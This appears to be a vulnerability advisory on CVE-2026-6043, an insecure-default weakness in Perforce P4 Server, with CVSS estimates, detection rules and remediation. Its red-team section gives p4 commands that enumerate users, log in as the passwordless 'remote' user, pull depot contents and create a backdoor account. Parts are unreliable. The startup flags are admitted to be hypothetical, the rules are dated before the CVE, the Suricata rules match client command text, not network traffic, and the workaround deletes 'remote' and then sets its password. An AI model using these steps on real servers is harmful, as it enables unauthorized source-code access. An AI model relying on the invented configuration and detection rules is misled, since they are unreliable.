CVE-2026-6043

Executive Summary

CVE-2026-6043 describes a critical security misconfiguration in Perforce Helix Core Server (P4 Server) versions prior to 2026.1. The vulnerability stems from insecure default settings that, when the server is exposed to untrusted networks, allow unauthenticated attackers to create arbitrary user accounts, enumerate existing users, authenticate to accounts with no password set, and access depot contents via the built-in 'remote' user. This chain of weaknesses can lead to full unauthorized access to source code repositories and other managed assets. The vendor, Perforce, has announced that the 2026.1 release will enforce secure-by-default configurations on both upgrade and new installations. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby) but rather to a proprietary enterprise version control system. However, organizations using Perforce as part of their software supply chain should treat this as a critical risk, as unauthorized access to source code repositories can lead to intellectual property theft, code tampering, and supply chain attacks.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component is the server itself.
• Confidentiality (C): High (H) – full access to depot contents.
• Integrity (I): High (H) – ability to create accounts and modify data.
• Availability (A): Low (L) – potential for denial of service via account creation.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L Estimated Score: 9.1 (Critical)

Deep Dive & Mechanics

The vulnerability is rooted in the default configuration of P4 Server. Specifically:

1. Insecure Default Settings: The server ships with settings that allow unauthenticated network access to administrative functions.
2. Built-in 'remote' User: A default user account named 'remote' exists with no password set. This account has inherent permissions to access depot contents.
3. User Enumeration: The server responds differently to valid vs. invalid usernames, allowing attackers to enumerate existing accounts.
4. Account Creation: Without authentication, an attacker can issue commands to create new user accounts, potentially with elevated privileges.
5. Authentication Bypass: Accounts with no password set (including 'remote') can be authenticated to without credentials.

The attack chain is:

• Step 1: Enumerate existing users (including 'remote').
• Step 2: Authenticate as 'remote' with no password.
• Step 3: Access depot contents or create additional accounts for persistence.

Vulnerable vs. Patched Code

Since this is a configuration issue rather than a code flaw, the "vulnerable" state is the default configuration, and the "patched" state is the secure-by-default configuration enforced in version 2026.1.

Vulnerable Configuration (pre-2026.1):

# In p4d startup script or configuration file
P4PORT=ssl:1666
P4D_FLAGS="-r /p4root -p ssl:1666 -InsecureDefault"
# The -InsecureDefault flag (hypothetical) allows unauthenticated access

Patched Configuration (2026.1+):

# In p4d startup script or configuration file
P4PORT=ssl:1666
P4D_FLAGS="-r /p4root -p ssl:1666 -SecureDefault"
# The -SecureDefault flag enforces authentication and disables default accounts

Key Changes:

• The built-in 'remote' user is disabled or requires a password.
• User enumeration is blocked.
• Account creation requires authentication.
• Default settings are locked down.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Deploy a vulnerable P4 Server (version < 2026.1) on an isolated network.
2. Ensure the server is exposed on port 1666 (default P4 port).
3. Use a Kali Linux machine as the attacker.

Exploitation Steps:

1. Enumerate Users:

   # Using p4 command-line client
   p4 -p target:1666 users
   # If unauthenticated, this may return a list of users including 'remote'
   

2. Authenticate as 'remote':

   p4 -p target:1666 -u remote login
   # When prompted for password, press Enter (empty password)
   

3. Access Depot Contents:

   p4 -p target:1666 -u remote print //depot/path/to/file
   p4 -p target:1666 -u remote sync //depot/...
   

4. Create a Backdoor Account:

   p4 -p target:1666 -u remote user -f -i <<< "User: attacker\nEmail: attacker@evil.com\nFullName: Attacker\nPassword: P@ssw0rd!"
   

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unauthenticated p4 users commands.
2. Alert on login attempts with empty passwords.
3. Track creation of new user accounts, especially from unknown IPs.
4. Review server logs for remote user activity.

Honeypot Strategy:

• Deploy a fake P4 server with default settings to attract attackers.
• Log all connection attempts and commands.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule Detect_P4_Default_Config_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2026-6043 by looking for unauthenticated P4 commands"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-6043"
    strings:
        $p4_users = "p4 users" ascii wide nocase
        $p4_login = "p4 login" ascii wide nocase
        $p4_user_create = "p4 user -f -i" ascii wide nocase
        $remote_user = "remote" ascii wide nocase
    condition:
        any of ($p4_*) and $remote_user
}

Sigma Rule

title: Unauthenticated P4 Server Access Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to P4 Server, indicating exploitation of CVE-2026-6043
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\p4.exe'
        CommandLine|contains:
            - 'users'
            - 'login'
            - 'user -f -i'
    condition: selection
falsepositives:
    - Legitimate administrative activity from trusted IPs
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 1666 (msg:"CVE-2026-6043 - Unauthenticated P4 Server Access"; flow:to_server,established; content:"p4 users"; nocase; sid:1000001; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 1666 (msg:"CVE-2026-6043 - P4 Login Attempt"; flow:to_server,established; content:"p4 login"; nocase; sid:1000002; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 1666 (msg:"CVE-2026-6043 - P4 User Creation"; flow:to_server,established; content:"p4 user -f -i"; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the 2026.1 update as soon as it is released (expected May 2026).
2. Network Segmentation: Ensure P4 Server is not exposed to untrusted networks. Use firewalls to restrict access to trusted IPs only.
3. Disable Default Accounts: Manually disable or password-protect the 'remote' user.
4. Enforce Authentication: Configure P4 Server to require authentication for all operations.
5. Audit Logs: Review server logs for any signs of exploitation.

Workaround (pre-2026.1):

# Disable the 'remote' user
p4 user -d remote
# Set a strong password for all users
p4 passwd remote
# Restrict access via p4 protect
p4 protect -o | sed 's/^write user *remote/read user remote/' | p4 protect -i

Long-Term Fix:

• Implement the secure-by-default configuration as described in the 2026.1 release notes.
• Regularly audit P4 Server configurations.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert